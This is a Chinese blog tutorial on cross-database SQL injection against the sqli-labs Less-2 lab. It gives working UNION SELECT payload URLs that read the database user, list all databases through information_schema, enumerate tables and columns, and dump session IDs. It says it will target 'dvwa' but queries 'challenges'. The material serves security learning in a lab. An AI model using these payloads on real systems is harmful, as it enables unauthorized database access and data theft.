sql注入之跨库查询

1、跨库查询前置知识

1.1、前提条件

1、需要有注入点

2、需要有管理员权限,例如root权限

3、MYSQL版本在5.0以上

 1.2、知识学习

在MYSQL5.0以上,会存在数据库名为information_schema的数据库,里面存储了很多信息;

在表名为schemata中存储了本服务器所有的数据库名:

且看到schemata表中,数据库名的字段为shcema_name

2、开始实验

2.1、实验环境

sqli-labs中less-2

2.2、实验

1、首先查询用户:

http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,user(),3

 

符合跨库查询的条件;

2、查询所有数据库名:

http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

 3、例如想要查询数据库名为dvwa中的数据:

(1)、表名

http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' 

  

(2)、字段名

http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='vz7iq0wr97' 

 

(3)、sessid

http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,sessid,3 from challenges.vz7iq0wr97 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值